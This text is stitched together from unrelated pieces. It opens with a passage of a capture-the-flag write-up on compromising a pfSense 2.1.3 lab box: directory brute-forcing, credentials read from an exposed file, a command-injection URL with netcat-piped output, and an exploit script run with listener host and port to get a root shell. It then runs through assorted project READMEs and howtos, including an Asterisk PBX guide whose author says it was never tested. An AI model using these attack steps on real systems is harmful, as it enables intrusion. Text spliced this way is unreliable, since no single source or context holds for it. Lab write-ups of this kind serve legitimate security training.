The scan yields 2 open ports (**HTTP** on port 80, **HTTPS** on 443) and deducts that the scanned "device" is either a *Comau embedded system* or *OpenBSD*. From this information we can make multiple guesses about the OS - `FreeBSD, NetBSD, Solaris` and so on.

***

# Enumeration

Visiting *<IP_ADDRESS>* in our browser redirects us to the the HTTPS version of the website and shows that the webpage itself is a login interface to *pfSense*.

*pfSense* is an open source firewall and therefore it's important to be careful during our enumeration. If we do anything which is very suspicious (bruteforce attack the login *cough cough*), the firewall might block us and render our future attempts useless.

Choosing the standard enumeration approach after trying default pfSense login credentials, I start out with gobuster. Main goal is to find hidden directories.

```console
root@EdgeOfNight:~# gobuster -u https://<IP_ADDRESS>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://<IP_ADDRESS>/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Expanded     : true
=====================================================
https://<IP_ADDRESS>/themes (Status: 301)
https://<IP_ADDRESS>/css (Status: 301)
https://<IP_ADDRESS>/includes (Status: 301)
https://<IP_ADDRESS>/javascript (Status: 301)
https://<IP_ADDRESS>/classes (Status: 301)
...[MORE OUTPUT REDACTED]...
```

Took some time to inspect all of the directories to no avail. They are either *404* or redirect back to the login page. In my second attempt I do gobuster once again. However, this time I use `-x` option to look for specific file extensions as well. Extensions such as `.php, .txt, .sh, .bak` are always good choices. Lazy sysadmins often leave files laying around. What a shame, right?

```console
root@EdgeOfNight:~/Desktop/Writeups/Sense# gobuster -u https://<IP_ADDRESS>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x txt

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://<IP_ADDRESS>/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .txt
[+] Expanded     : true
=====================================================
https://<IP_ADDRESS>/themes (Status: 301)
...
...
https://<IP_ADDRESS>/changelog.txt (Status: 200)
...
https://<IP_ADDRESS>/system-users.txt (Status: 200)
...
...
```

> Note: A lot of useless directories were redacted for easier readability

As you can see now, we get 2 new options - **changelog.txt** and **system-users.txt**. Let's check them out.

changelog.txt

Good news in this one! It mentions that 2 out of 3 vulnerabilities have been patched. That means that 1 vulnerability can still be exploited! Moving on...

system-users.txt

Look at that. Wonderful! We successfully obtained rohit's credentials. Use them to login to *pfSense* - `rohit:pfsense`.
> Note: Make sure you type *rohit* with all lowercase letters. pfSense has case sensitive login mechanism even for usernames.

pfSense dashboard:

A lot of information pops out on the screen. The most important one is the version.
```
Version 	2.1.3-RELEASE (amd64)
built on Thu May 01 15:52:13 EDT 2014
FreeBSD 8.3-RELEASE-p16
Unable to check for updates.
```

Knowing the version (**2.1.3**), we can openly search for vulnerabilities. By doing some simple google searching, I was able to find that this particular version is vulnerable to a remote command execution exploit. You can read more about it [here](https://packetstormsecurity.com/files/145575/pfSense-2.1.3-RELEASE-amd64-Remote-Command-Execution.html){:target="_blank"}.

***

# Exploitation
There are multiple approaches for exploiting this machine. Let's go through them one by one.

### - Manual
The report discloses that database GET parameter is vulnerable to an injection. Therefore `https://<IP_ADDRESS>/status_rrd_graph_img.php?&database=queues;<INJECTION>` will allow us to run any command on the system. There's one problem though. There is no way of seeing stdout! Simple fix can achieved by piping every injection through netcat and then listening for the server's reply on our machine.

Ippsec does a lot better & more detailed job of explaining this than I ever could, so props to him. He goes over multiple important things such as evading bad characters and pivoting through another machine in case pfSense blocks you. I highly advise you watch his [video](https://www.youtube.com/watch?v=d2nVDoVr0jE){:target="_blank"}! The injection part starts at around **17:30**.

### - Using exploitdb python script
The script can be located [here](https://www.exploit-db.com/exploits/43560/){:target="_blank"}.
```console
usage: exploit.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
                  [--username USERNAME] [--password PASSWORD]
```

And therefore running `python3 exploit.py --rhost <IP_ADDRESS> --lhost <IP_ADDRESS> --lport 1234 --username rohit --password pfsense` should return us a root shell!

> Note: Make sure you use python3, not python2!

### - Using Metasploit
As it appears, there is also a metasploit module which simplifies everything we've done so far. The [exploit](https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_graph_injection_exec){:target="_blank"} is very simple and all that's required is setting up the LHOST, RHOST and rohit username. You know the drill.

### Doesn't matter which option you go with. A root shell will be your reward nontheless! Congratulations!

***

# Conclusion
A pretty simple but amazing box. I really liked the authenticity of this one. This exploitation was "real life" like and therefore I consider it as a perfect practice for anyone who wants to improve in this field!

~V3

license: Unlicense


text:
---
title: Getting Started With ContainerOps
keywords: homepage
tags: [getting_start]
sidebar: home_sidebar
permalink: index.html
summary:
---

## ContainerOps - DevOps Orchestration

### Why DevOps orchestration?

There are many tools, projects, plugins, services adopted in the DevOps workflow. However, no one can cover all DevOps tasks. When developers move from one tool to another, they are facing the huge risk of reinvestment. How should we promote the DevOps process and make iteration more speedy? The principle of DevOps orchestration is to keep your original process working without any changes and just assemble tools, projects, plugins, services into orchestration engine. Improvements to the DevOps process can be done by gradually adding or replacing tools, projects, plugins or services for a smooth migration, and overall, DevOps needs to be promoted step by step, invasive changes are dangerous.

{% include image.html file="CloudNativeLandscape_v0.9.2.jpg" url="https://github.com/cncf/landscape" alt="Cloud Native Landscape" caption="Cloud Native Landscape" %}

### ContainerOps is a DevOps orchestration platform with the container technology.

ContainerOps is a DevOps orchestration platform built with containers. It has an orchestrating engine to drive components or services, and runs on Kubernetes. ContainerOps provides tools to encapsulate plugins or any programs into a container, and a set of environment variables are used for interaction with the engine. We call this container encapsulated DevOps task a component. All components run in Kubernetes, and the lifecycle of the tasks are managed by the engine. At the same time, the engine can be integrated with DevOps services like Github or Travis CI through REST API. The ContainerOps is designed for cloud native app development and runs within container cluster.

repository: yanxinorg/containerops

repo_name: yanxinorg/containerops


text:
---
date: 2011-06-17 00:02:20+00:00
layout: post
slug: howto-setup-asterisk-pbx-server
comments: true
title: Howto Setup an Asterisk PBX Server
categories:
- articles
tags:
- asterisk
- howto
- linux
- pbx
- voip
---

### Introduction

Asterisk is software that turns an ordinary computer into a communications
server. Asterisk powers IP PBX systems, VoIP gateways, conference servers and
more.

This howto covers topics and issues installing, configuring and managing
Asterisk server on Fedora Linux version 12 to 14. It is based on Asterisk
1.6.2.

### Installation

I assume you are going to be using Asterisk and its components packages which
Fedora supplies via yum 'updates' repository, which is enabled by default.

Required packages for a simple Asterisk installation. Is is always a good
practice to install sound files for the most common codecs,
so asterisk's core does not have to convert the sound files on the fly -
`asterisk-sounds-core-en-<codec>`

{% highlight bash %}
asterisk
asterisk-sounds-core-en
asterisk-sounds-core-en-alaw
asterisk-sounds-core-en-g722
asterisk-sounds-core-en-g729
asterisk-sounds-core-en-gsm
asterisk-sounds-core-en-ulaw
asterisk-sounds-core-en-wav
asterisk-voicemail # (if you need voicemail support)
iax # (if you need IAX protocol support)
{% endhighlight %}

Packages installation using yum install:

{% highlight bash %}
yum install asterisk asterisk-sounds-core-en asterisk-sounds-core-en-alaw \
  asterisk-sounds-core-en-g722 asterisk-sounds-core-en-g729 \
  asterisk-sounds-core-en-gsm asterisk-sounds-core-en-ulaw \
  asterisk-sounds-core-en-wav asterisk-voicemail iax
{% endhighlight %}

Turn on asterisk service to start on boot

`chkconfig --level 345 asterisk on`

### Pre-configuration

First of all let's start the Asterisk service just to make sure it starts without any errors:
`service asterisk start`

Once the service is started and running you can connect to Asterisk by simply
running `asterisk -r` - the -v option tells the verbosity level of the
Asterisk's core (it can be set via Asterisk's command line), which is optional.
You will get into the Asterisk'a command prompt:

{% highlight bash %}
# asterisk -r
Asterisk <IP_ADDRESS>.1, Copyright (C) 1999 - 2010 Digium, Inc. and others.
Created by Mark Spencer
Asterisk comes with ABSOLUTELY NO WARRANTY; type 'core show warranty' for details.
This is free software, with components licensed under the GNU General Public
License version 2 and other licenses; you are welcome to redistribute it under
certain conditions. Type 'core show license' for details.
=========================================================================
Connected to Asterisk <IP_ADDRESS>.1 currently running on zs (pid = 20283)
Verbosity is at least 10
hostname*CLI>
{% endhighlight %}

The main components are the following:

* `core` - Asterisk's core engine
* `dialplan` - Asterisk's logic which you will have to define
* `sip` - The SIP protocol engine
* `iax2` - The IAX2 protocol engine

### Configuration
#### Config files

The files are stored in /etc/asterisk directory. The main configuration files are:

* `sip.conf` - This is where we'll configure the SIP protocol
* `extensions.conf` - A dialplan configuration file, this is where all the logic we define goes to
* `iax.conf` - This is the IAX2 protocol configuration file

#### Backup existing files

Asterisk packaged installation comes with already populated config files, it
has some good examples, but they are unrelated to what we are going to achieve,
so it is a good idea to backup them using:

{% highlight bash %}
cd /etc/asterisk
mv sip.conf sip.conf.sample; touch sip.conf
mv iax.conf iax.conf.sample; touch iax.conf
mv extensions.conf extensions.conf.sample; touch extensions.conf
{% endhighlight %}

#### SIP Protocol

Since the SIP protocol is the most common one, I will cover its configuration
in this howto. The sip.conf file contains channel and users (phones)
configuration, login details etc. The main channel is [general] which is
reserved for general/default SIP engine configuration. Many options can be set
per channel or trunk channel. A new channel starts with [channel-name] and ends
where the new channel starts.

The basic structure of the sip.conf file is:

{% highlight bash %}
;this is a comment
[general]
context=default ;if no destination is specified the call will go to the default context
allowoverlap=no
bindport=5060 ;port number to bind (default)
bindaddr=<IP_ADDRESS> ;address to bind (all by default)
srvlookup=yes ;do DNS lookups
directmedia=no ;use indirect media (partially solves SIP over NAT issues)
bandwidth=low ;enable most common codecs
disallow=lpc10 ;makes your voice sound like a robot, so we disable this codec :-)

;SIP provider registration
;register =<EMAIL_ADDRESS>
;simple configuration for user (extension) 1001
[1001]
type=friend ;type friend allows a user/phone to make and receive calls
host=dynamic ;host is needed when incoming calls comes in, Asterisk will take a note of phone's IP upon registration
secret=super_strong_secret
context=users ;the context for inbound and outbound calls in this case (because type is friend)
callerid="Name Lastname <1001>"
{% endhighlight %}

#### Dial Plan

The main Asterisk PBX logic is configured in extensions.conf file. This file
again is separated by [sections]. The already reserved sections/contexts are
`[globals]` and `[general]`.
`[globals]` is usually empty, but can contain some options or it can be used
for variable assignments. Let's create a basic extensions.conf configuration
file:

{% highlight bash %}
[globals]

[general]
autofallthrough=yes
static=yes

[default] ;create a default context, so if incoming caller did not specify an extension the call will end up in this context
exten => s,1,Verbose(1,Unrouted call handler) ;send a custom message in the log
exten => s,n,Dial(SIP/1001) ;call extension 1001 (remember, we configured 1001 channel in sip.conf)
exten => s,n,Hangup() ;and finally hang up once the call is finished, it is always a safe bet to do that

[users] ;create a users context, this is where configured users/phones will end up (remember? we placed user 1001 in 'users' context)
exten => 1001,1,Dial(SIP/1001)
exten => 1001,n,Hangup()

exten => 5000,1,Echo() ;create a simple echo test on ext 5000
exten => 5000,n,Hangup()
{% endhighlight %}

So now you should have the working configuration files for SIP channels and a
simple dialplan. Let's move on to the Asterisk basic management and control.

#### Asterisk and NAT

Probably the worst case is when an Asterisk PBX is behind one NAT and clients
connecting to the PBX are behind another NAT and network. Asterisk can handle
this situation pretty well if you tell it to. There few steps which need to be
done in order to make Asterisk property translate SIP and RTP data over NAT:

Do port forwarding on the firewall which does NAT for the Asterisk server of the following ports:
`5060/udp` (SIP traffic), `10000-20000/udp` (RTP traffic) - ports range can be
changed on /etc/asterisk/rtp.conf file.

Add the following options to `/etc/asterisk/sip.conf` file:

{% highlight bash %}
[general]
externip=<IP_ADDRESS>
localnet=<IP_ADDRESS>/<IP_ADDRESS>
qualify=yes
canreinvite=no

externip=<IP_ADDRESS> - set it to your external IP
localnet=<IP_ADDRESS>/<IP_ADDRESS> - set it to your local subnet (more than one 'localnet' option can be used)
qualify=yes - set it to 'yes', so Asterisk will keep connections open over the NAT
canreinvite=no - set it to no, so Asterisk does not send re-invites (always stays in between the current call)
{% endhighlight %}

### Management

Now we have configured basic components of the Asterisk PBX, but our PBX system
is running off the sample configuration files, remember (we renamed the files
after we have started the Asterisk service)?
I believe you still have the terminal open with a connection to the service
(asterisk -r). Asterisk control is pretty simple, I will list a few of the main
commands just to get you started:

* `core set verbose 10` - increases/decreases verbosity level of the core (10 is the most verbose output)
* `core restart` - restarts the Asterisk core, very rarely needed, unless you are changing core configuration
* `core show channels` - displays active channels/calls and processed calls
* `sip set verbose 10` - increases/decreases verbosity level of the sip engine (10 is the most verbose output)
* `sip set debug on` - sets debugging on of the sip engine
* `sip show users` - shows configured users in sip.conf
* `sip reload` - reloads the sip engine and rereads the sip.conf file
* `dialplan reload` - reloads the dialplan enginer and rereads extensions.conf file
* `core show applications` - shows all the applications which can be used in your dialplan
* `core show functions` - shows all the functions which can be used while building a dialplan

There are many more commands, but I will not cover them all here obviously.

### Final Words

By now you should have a basic fully working PBX system. What you need to do is
to add more users/extensions, make sure you create a dial plan for them too and
configure your phones/softphones and you can start making calls for free.

### Final words

I do apologise if I made some mistakes or typos as I was writing everything out
of my head, I did not have to test this actual setup. If you find any mistakes
please let me know and I will correct that. Otherwise I hope it is going to be useful for somebody.

extension: markdown


text:
![Alt text](Banner-2.png?raw=true "Title")

Interactive website to calculate the power consumption in a power plant based on distinct variables such as Ambient Temperature , Relative Humidity, Exhaust Vacuum  and Ambient Pressure. Numerical values of these features can be entered in a website deployed using Heroku to compute the electrical energy per hour (MW). This project is presented as an upgraded version of what originally was a Master's degree course assignment.

## Table of Contents

- [Project Website](#project-website)
- [Project Workflow](#project-workflow)
- [Project Description](#project-description)
- [Requirements](#requirements)
- [Model Training](#model-training)
- [Web Application](#web-application)
- [App Deployment using Heroku](#app-deployment-using-heroku)
- [Dataset Information](#dataset-information)
- [Acknowledgements](#acknowledgements)
- [License](#license)

## Project Website

[(Back to top)](#table-of-contents)

[Project Website](https://pycaret-power.herokuapp.com). The user can enter values for different features such as Ambient Temperature, Relative Humidity, Exhaust Vacuum and Ambient Pressure *within the ranges specified* to obtain a prediction for the electrical energy output in MW.

## Project Workflow

[(Back to top)](#table-of-contents)

  - Training machine learning models using Pycaret
  - Simple web application using Flask
  - Deployment of the web application using Heroku

## Project Description

[(Back to top)](#table-of-contents)

This project focuses on training several machine learning models on a dataset based on sensor readings in a power plant to predict the net hourly energy output. This problem can be formulated as a regression model as the feature being predicted is a quantitative element. Further, a web application is built using Flask and  deployed using Heroku and the application built using Python can be accessed using an URL. The source code needed for the app deployment is hosted on Github.

## Requirements

[(Back to top)](#table-of-contents)

- Flask
- Heroku account
- Git
- Pycaret
- Pandas

## Installation

[(Back to top)](#table-of-contents)

- pip install [pycaret](https://pycaret.org/install/)
- pip install [flask](https://pypi.org/project/Flask/)
- pip install pandas

## Model Training

[(Back to top)](#table-of-contents)

Models were trained using [Pycaret](https://pycaret.org/guide/), which is an open source machine learning library that can be used to perform simple classification and regression tasks. This dataset consists of quantitative values and hence a regression task is suitable to make predictions. The Pycaret library can be used to build several machine learning models and the optimal model is chosen based on several performance metrics such as R2, MSE, MAPE, etc. In this project, the metric used to determine the best model is R2. The best model used in making the predictions is XGBoost, although any of the top three models maybe utilised for the same. 20% of the dataset is preserved as the test set.
The models are created and tuned (10 fold cross validation) and compared using different metrics.

## Model Performance

[(Back to top)](#table-of-contents)

![Alt text](ResPlot.png?raw=true "Title")

The graph above indicates a residual plot for the XgBoost model. In the plot, each point represents hourly average sensor outputs and the x and y axes represent the predicted values and residuals respectively. The distance of a point from the line at '0' represents how far the predicted value is from the actual value. Consequently, points scattered around zero indicate a good model.

## Web Application

[(Back to top)](#table-of-contents)

[Flask](https://flask.palletsprojects.com/en/1.1.x/) has been utilised to build the web application.

## App Deployment using Heroku

[(Back to top)](#table-of-contents)

The app deployed locally using Flask is deployed as a website using [Heroku](https://www.heroku.com).

## Dataset Information

[(Back to top)](#table-of-contents)

The [dataset](https://archive.ics.uci.edu/ml/datasets/Combined+Cycle+Power+Plant#) is available on the UCI Machine Learning Repository.

## Acknowledgements

[(Back to top)](#table-of-contents)

 https://github.com/pycaret/deployment-heroku

## License

[(Back to top)](#table-of-contents)

Released under MIT License.

## Citation

[(Back to top)](#table-of-contents)

1. Pınar Tüfekci, Prediction of full load electrical power output of a base load operated combined cycle power plant using machine learning methods, International Journal of Electrical Power & Energy Systems, Volume 60, September 2014, Pages 126-140, ISSN 0142-0615, [Web Link].
([Web Link])

2. Heysem Kaya, Pınar Tüfekci , Sadık Fikret Gürgen: Local and Global Learning Methods for Predicting Power of a Combined Gas & Steam Turbine, Proceedings of the International Conference on Emerging Trends in Computer and Electronics Engineering ICETCEE 2012, pp. 13-18 (Mar. 2012, Dubai)


text:
🦕

# Build Rust functions for Deno

## Usage:

You must have `wasm-bindgen-cli` installed on your machine. To install run `cargo install wasm-bindgen-cli`.

### Add `wasm-bindgen` to your project

In your `cargo.toml` file, you need to specify the crate type

```toml
[lib]
crate-type = ["cdylib"]
```

under `dependencies` add:

```toml
wasm-bindgen = "0.2"
```

Import `wasm-bindgen` to your rust file:

```rust
use wasm_bindgen::prelude::*;
```

Add the macro to your functions:

```rust
#[wasm_bindgen]
pub fn my_awesome_function() -> String {
    "This is from my awesome function in Rust!"
}
```

### Install the script

```sh
deno install --allow-read --allow-write --allow-run -n deno-build-wasm https://deno.land/x/deno_build_wasm/mod.ts
```

### Build your functions

```sh
deno-build-wasm my-awesome-functions
```

This will generate a `pkg` directory with the neccessary files.

### Use your functions in Deno

```ts
import { my_awesome_function } from './pkg/my-awesome-functions.js'

console.log(my_awesome_function())
// Prints: This is from my awesome function in Rust!
```

## Huge thanks to [@SrKomodo](https://github.com/SrKomodo) for the original script!

![](https://avatars0.githubusercontent.com/u/22225222?s=60&u=4d5a16389ab072b068a912022c74b784ec264f97&v=4)

repository: meszarosdezso/deno-build-wasm

repo_name: meszarosdezso/deno-build-wasm


text:
# analytics.js-integration-attribution

[Attribution][] integration for [Analytics.js][].

## License

Released under the [MIT license](LICENSE)

[Attribution]: https://attributionapp.com
[Analytics.js]: https://segment.com/docs/libraries/analytics.js/


text:
# Release Template

> short tl;dr; of the release

# 🗺 What's left for release

# 🔦 Highlights

# 🏗 API Changes

# ✅ Release Checklist

- Robustness and quality
  - [ ] Ensure that all tests are passing, this includes:
    - [ ] unit
  - [ ] Publish a release candidate to npm
    ```sh
    # Minor prerelease (e.g. 0.24.1 -> 0.25.0-rc.0)
    $ npx aegir release --type preminor -t node -t browser --preid rc --dist-tag next

    # Increment prerelease (e.g. 0.25.0-rc.0 -> 0.25.0-rc.1)
    $ npx aegir release --type prerelease -t node -t browser --preid rc --dist-tag next
    ```
  - [ ] Run tests of the following projects with the new release:
    - [ ] [js-ipfs](https://github.com/ipfs/js-ipfs)
- Documentation
  - [ ] Ensure that README.md is up to date
  - [ ] Ensure that all the examples run
- Communication
  - [ ] Create the release issue
  - [ ] Take a snapshot between of everyone that has contributed to this release (including its subdeps in IPFS, libp2p, IPLD and multiformats) using [`name-your-contributors`](https://www.npmjs.com/package/name-your-contributors). Generate a nice markdown list with [this script](https://gist.github.com/jacobheun/d2ff479ca991733c13cdcf688a1317e5)
  - [ ] Announcements (both pre-release and post-release)
    - [ ] Twitter
    - [ ] IRC
    - [ ] Reddit
    - [ ] [discuss.libp2p.io](https://discuss.libp2p.io/c/news)
  - [ ] Blog post
  - [ ] Copy release notes to the [GitHub Release description](https://github.com/libp2p/js-libp2p/releases)

# ❤ Huge thank you to everyone that made this release possible

In alphabetical order, here are all the humans that contributed to the release:

- ...

# 🙌🏽 Want to contribute?

Would you like to contribute to the libp2p project and don't know how? Well, there are a few places you can get started:

- Check the issues with the `help wanted` label in the [libp2p repo](https://github.com/libp2p/js-libp2p/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22)
- Join an IPFS All Hands, introduce yourself and let us know where you would like to contribute - https://github.com/ipfs/team-mgmt#all-hands-call
- Hack with IPFS and show us what you made! The All Hands call is also the perfect venue for demos, join in and show us what you built
- Join the discussion at http://discuss.libp2p.io/ and help users finding their answers.
- Join the [⚡libp2p Weekly Sync 🙌🏽](https://github.com/libp2p/team-mgmt/issues/16) and be part of the Sprint action!

# ⁉ Do you have questions?

The best place to ask your questions about libp2p, how it works and what you can do with it is at [discuss.libp2p.io](https://discuss.libp2p.io). We are also available at the #libp2p channel on Freenode.


text:
---
id: badge
title: Badge
slug: /badge
---

import Props from './props/badge.md'
import Usage from './usage/Badge/Badge.md'

Badges are small components typically used to communicate a numerical value or
indicate the status of an item to the user.

Standard

Mini Badge

Badge as Indicator

## Usage

<Usage />

---

<Props />

---

repository: Guakamoli/react-native-elements

branch_name: refs/heads/next

repo_name: Guakamoli/react-native-elements


text:
# Shiori

[![Build Status](https://cloud.drone.io/api/badges/techknowlogick/shiori/status.svg)](https://cloud.drone.io/techknowlogick/shiori)
[![Go Report Card](https://goreportcard.com/badge/src.techknowlogick.com/shiori)](https://goreportcard.com/report/src.techknowlogick.com/shiori)
[![GoDoc](https://godoc.org/src.techknowlogick.com/shiori?status.svg)](https://godoc.org/src.techknowlogick.com/shiori)
[![GitHub release](https://img.shields.io/github/release-pre/techknowlogick/shiori.svg)](https://github.com/techknowlogick/shiori/releases/latest)
[![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Ftechknowlogick%2Fshiori.svg?type=shield)](https://app.fossa.io/projects/git%2Bgithub.com%2Ftechknowlogick%2Fshiori?ref=badge_shield)

Shiori is a simple bookmarks manager written in Go language. Intended as a simple clone of [Pocket](https://getpocket.com//). You can use it as command line application or as web application. This application is distributed as a single binary, which means it can be installed and used easily.

## Features

- Simple and clean command line interface.
- Basic bookmarks management i.e. add, edit and delete.
- Search bookmarks by their title, tags, url and page content.
- Import and export bookmarks from and to Netscape Bookmark file.
- Portable, thanks to its single binary format and sqlite3 database
- Simple web interface for those who don't want to use a command line app.
- Where possible, by default `shiori` will download a static copy of the webpage in simple text and HTML format, which later can be used as an offline archive for that page.

## License

Shiori is distributed using [MIT license](https://choosealicense.com/licenses/mit/), which means you can use and modify it however you want. However, if you make an enhancement for it, if possible, please send a pull request.

[![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Ftechknowlogick%2Fshiori.svg?type=large)](https://app.fossa.io/projects/git%2Bgithub.com%2Ftechknowlogick%2Fshiori?ref=badge_large)

repository: fossabot/shiori

repo_name: fossabot/shiori


text:
# `rex-widget/data`

Data fetching library which binds rex's ports, queries and custom request
handlers to React components.

Example code:

```
import {useFetch, port} from 'rex-widget/data'

function ShowUsers(props) {
  // Start fetching data.
  let users = useFetch(port('/api/users').limit(props.limit))

  // Handle updating state
  if (users.updating) {
    return <div>Loading...</div>
  }

  // Handle no-data case
  if (users.data == null) {
    return <div>No users found.</div>
  }

  return <div>{users.data.map(user => <div>{user.name}</div>)}</div>
}
```

Note that in the example above the request is only being sent if either:

1. This is the first render
2. Request parameters has changed since the last render

This means that each re-render of the component won't send a network request.

repository: prometheusresearch/baseline-codebase

branch_name: refs/heads/baseline/master

repo_name: prometheusresearch/baseline-codebase


text:
# Cosmos Inter-Blockchain Communication (IBC) Protocol

> This specification is outdated and no longer in use. For the latest IBC specifications, please see the [Interchain Standards repository](https://github.com/cosmos/ics).

## Abstract

This paper specifies the Cosmos Inter-Blockchain Communication (IBC) protocol. The IBC protocol defines a set of semantics for authenticated, strictly-ordered message passing between two blockchains with independent consensus algorithms.

The core IBC protocol is payload-agnostic. On top of IBC, developers can implement the semantics of a particular application, enabling users to transfer valuable assets between different blockchains while preserving the contractual guarantees of the asset in question - such as scarcity and fungibility for a currency or global uniqueness for a digital kitty-cat.

IBC requires two blockchains with cheaply verifiable rapid finality and Merkle tree substate proofs. The protocol makes no assumptions of block confirmation times or maximum network latency of packet transmissions, and the two consensus algorithms remain completely independent. Each chain maintains a local partial order and inter-chain message sequencing ensures cross-chain linearity. Once the two chains have registered a trust relationship, cryptographically verifiable packets can be sent between them.

IBC was first outlined in the [Cosmos Whitepaper](https://github.com/cosmos/cosmos/blob/master/WHITEPAPER.md#inter-blockchain-communication-ibc), and later described in more detail by the [IBC specification paper](https://github.com/cosmos/ibc/blob/master/CosmosIBCSpecification.pdf). This document supersedes both. It explains the requirements and structure of the protocol and provides sufficient detail for both analysis and implementation.

## Contents

1.  **[Overview](overview.md)**
    1.  [Summary](overview.md#11-summary)
    1.  [Definitions](overview.md#12-definitions)
    1.  [Threat Models](overview.md#13-threat-models)
1.  **[Connections](connections.md)**
    1.  [Definitions](connections.md#21-definitions)
    1.  [Requirements](connections.md#22-requirements)
    1.  [Connection lifecycle](connections.md#23-connection-lifecycle)
        1.  [Opening a connection](connections.md#231-opening-a-connection)
        1.  [Following block headers](connections.md#232-following-block-headers)
        1.  [Closing a connection](connections.md#233-closing-a-connection)
1.  **[Channels & Packets](channels-and-packets.md)**
    1.  [Background](channels-and-packets.md#31-background)
    1.  [Definitions](channels-and-packets.md#32-definitions)
        1. [Packet](channels-and-packets.md#321-packet)
        1. [Receipt](channels-and-packets.md#322-receipt)
        1. [Queue](channels-and-packets.md#323-queue)
        1. [Channel](channels-and-packets.md#324-channel)
    1.  [Requirements](channels-and-packets.md#33-requirements)
    1.  [Sending a packet](channels-and-packets.md#34-sending-a-packet)
    1.  [Receiving a packet](channels-and-packets.md#35-receiving-a-packet)
    1.  [Packet relayer](channels-and-packets.md#36-packet-relayer)
1.  **[Optimizations](optimizations.md)**
    1.  [Timeouts](optimizations.md#41-timeouts)
    1.  [Cleanup](optimizations.md#42-cleanup)
1.  **[Conclusion](conclusion.md)**
1.  **[References](references.md)**
1.  **[Appendices](appendices.md)**
    1. [Appendix A: Encoding Libraries](appendices.md#appendix-a-encoding-libraries)
    1. [Appendix B: IBC Queue Format](appendices.md#appendix-b-ibc-queue-format)
    1. [Appendix C: Merkle Proof Format](appendices.md#appendix-c-merkle-proof-formats)
    1. [Appendix D: Byzantine Recovery Strategies](appendices.md#appendix-d-byzantine-recovery-strategies)
    1. [Appendix E: Tendermint Header Proofs](appendices.md#appendix-e-tendermint-header-proofs)

repository: cosmos-cg-key-management/cosmos-sdk

gha_language: Go

repo_name: cosmos-cg-key-management/cosmos-sdk


text:
# Titanic Passenger API

[![Build Status](https://travis-ci.com/Lusitaniae/API-Exercise.svg?branch=master)](https://travis-ci.com/Lusitaniae/API-Exercise)
[![License](https://img.shields.io/badge/license-MIT-blue.svg)](https://raw.githubusercontent.com/Lusitaniae/API-Exercise/master/LICENSE)
[![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=Lusitaniae_API-Exercise&metric=alert_status)](https://sonarcloud.io/dashboard?id=Lusitaniae_API-Exercise)

The Titanic Passenger API is a simple RESTful API built on PHP Lumen.

It provides a simple CRUD interface to interact with the imported passenger data.

 This is largely WIP !!`

Change directory

`cd resources/docker/kubernetes/`

Apply configurations to your k8s cluster

`kubectl create -f .`

repository: Lusitaniae/Titanic-API

gha_language: PHP

repo_name: Lusitaniae/Titanic-API


text:
# Keuka

`keuka` is a utility for analyzing the properties of SSL/TLS handshakes.

## Table of Contents

+ [Installation](#installation)
  - [Homebrew](#homebrew)
  - [Manual](#manual)
+ [Options](#options)
+ [Examples](#examples)
  - [Basic Usage](#basic-usage)
    + [Get progress and timing information](#get-progress-and-timing-information)
    + [Get cipher and certificate chain](#get-cipher-and-certificate-chain1)
    + [Get handshake method and signature algorithm](#get-handshake-method-and-signature-algorithm)
  - [Advanced Usage](#advanced-usage)
    + [Get cipher](#get-cipher)
    + [Get certificate expiration date](#get-certificate-expiration-date)
    + [Get common name from certificate subject](#get-common-name-from-certificate-subject)
    + [Get public key and certificate, and split into separate files](#get-public-key-and-certificate-and-split-into-separate-files2)
+ [Notes](#notes)
+ [Troubleshooting](#troubleshooting)

## Installation

There are currently two installation methods: Homebrew and manual.

### Homebrew

```
brew tap nickolasburr/pfa
brew install keuka
```

### Manual

By default, `keuka` is installed to `/usr/local/bin`. You can set the `prefix` variable when running `make` to specify an alternate path.

```
make
make install
```

## Options

+ `-b`, `--bits`: Show public key length, in bits.
+ `-c`, `--chain`: Show peer certificate chain.
+ `-C`, `--cipher`: Show cipher negotiated during handshake.
+ `-i`, `--issuer`: Show certificate issuer information.
+ `-m`, `--method`: Show method negotiated during handshake.
+ `-N`, `--no-sni`: Disable SNI support.
+ `-q`, `--quiet`: Suppress progress-related output.
+ `-r`, `--raw`: Output raw key and certificate contents.
+ `-S`, `--serial`: Show certificate serial number.
+ `-A`, `--signature-algorithm`: Show certificate signature algorithm.
+ `-s`, `--subject`: Show certificate subject.
+ `-V`, `--validity`: Show Not Before/Not After validity time range.
+ `-h`, `--help`: Show help information and usage examples.
+ `-v`, `--version`: Show version information.

## Examples

### Basic Usage

`keuka` provides basic progress and timing information, including context
establishment, connection establishment, and handshake initiation and completion.

#### Get progress and timing information.

`keuka www.openssl.org`

```
--- [0.000052s] Establishing SSL context.
--- [0.000721s] SSL context established.
--> [0.002033s] Establishing connection to www.openssl.org.
<-- [0.002056s] Connection established.
--- [0.002161s] Attaching SSL session to socket.
--- [0.002176s] SSL session attached to socket.
--> [0.002176s] Initiating handshake with www.openssl.org.
<-- [0.004188s] Handshake complete.
```

#### Get cipher and certificate chain.[1](#notes)

`keuka --chain --cipher -- amazon.com`

```
--- [0.000018s] Establishing SSL context.
--- [0.000494s] SSL context established.
--> [0.001827s] Establishing connection to amazon.com.
<-- [0.001866s] Connection established.
--- [0.001985s] Attaching SSL session to socket.
--- [0.002024s] SSL session attached to socket.
--> [0.002024s] Initiating handshake with amazon.com.
<-- [0.004389s] Handshake complete.

--- Cipher: ECDHE-RSA-AES128-GCM-SHA256
--- Certificate Chain:
    0: [redacted]
    1: [redacted]
```

#### Get handshake method and signature algorithm.

